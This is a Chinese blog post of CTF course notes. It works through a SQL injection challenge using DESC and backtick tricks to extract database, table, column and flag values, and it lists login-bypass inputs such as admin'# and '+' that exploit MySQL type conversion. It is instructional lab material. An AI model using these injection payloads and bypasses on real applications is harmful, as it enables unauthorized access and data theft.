本文是对安全牛《CTF从入门到提升》课程课时8的记录

desc语法

{DESCRIBE | DESC} tbl_name [col_name | wild]
DESCRIBE提供有关一个表的列信息。col_name可以是一个列名或是一个包含SQL通配符”%”和”_”的字符串

值得注意的是即使col_name是不存在的,desc也不会报错,只是会返回Empty set.这一点在下面的例题中有使用到

例题

http://web.jarvisoj.com:32794/

拿到源代码(这个点以后再讲)

访问http://web.jarvisoj.com:32794/index.php~
再右键查看源代码就可以看到index.php的内容

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

代码的分析如下:

1
desc `secret_{$table}`

这句如果报错的话会执行Hacker(),所以这句一定不能报错,而且代入到下面的

1
select 'flag{xxx}' from secret_{$table}

要能够注入出数据
这里就要运用上文提到的col_name不存在时,desc也不会报错的特性,不过首先我们了解一下sql中的反引号``

sql语句中的反引号``

1.反引号常规用法

反引号``在sql语句中一般用于区分MYSQL的保留字与普通字符,比如我想要新建一个叫做select的库时,就要使用``把select括起来

1
create database `select`;

2.反引号代替空格

可以用反引号``代替空格,比如

1
select * from user``union select 1,2,3 from user;

的效果和

1
select * from user union select 1,2,3 from user;

是一样的

3.desc的反引号

1
desc `user` `id`;

的效果和

1
desc user id;

的效果是一样的

进一步注入

按照上文的思路和``的特性,我们可以构造出这样的语句

1
2
desc `secret_test` `union select database() limit 1 offset 1`;
select 'flag{xxx}' from secret_test` `union select database() limit 1 offset 1;

拿到库名为61d300
之所以要加上limit 1 offset 1是因为最后输出的时候

1
echo $ret[0];

只会输出第一个结果,如果不加limit 1 offset 1的话还是会返回flag{xxx}
后面就是正常的诸如操作了

1
2
desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1`;
select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1;

得到存在表secret_flag,secret_test

1
2
desc `secret_test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1`;
select 'flag{xxx}' from secret_test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1;

拿到列flagUwillNeverKnow

1
2
desc `secret_test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1 offset 1`;
select 'flag{xxx}' from secret_test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1 offset 1;

拿到flag

万能密码

查询语句如下:

1
select * from admin where username='' and password='';

1.用户名admin’#

利用#注释掉后面的语句

2.用户名’+’ 密码’+’

这个是运用了mysql弱类型转换的问题
mysql中

1
select 'aaa'+1;

会返回1,也就是说这时mysql会将不以数字开头的字符串转换成0处理,因此

1
select 'a'=0;

是会返回1(True)的
当用户名和密码都是’+’时,sql语句变成

1
select * from admin where username=''+'' and password=''+'';

相当于是

1
select * from admin where username=0 and password=0;

只要用户名和密码不是以数字开头的就可以查询出来,数字开头的话是不行的(如果是’000aab’这样的也可以)

3.用户名aaa’=’ 密码aaa’=’

代入sql语句得

1
select * from user where username='aaa'='' and password='aaa'='';

mysql会先查询username=’aaa’,这时返回0(False),然后0和’’比较返回1(True),password部分也是同理
也就是相当于执行了

1
select * from user where 1 and 1;

\N

\N在mysql中是NULL的意思,使用它时可以省略空格,比如

1
select\Nfrom user;

有啥用呢?我也不知道……

唠叨几句

到这一讲sql注入就讲完了,接下来是文件上传的部分。
最近因为一些事情整个人都很不好,对未来也没什么奢望,只是希望接下来能好过一些吧。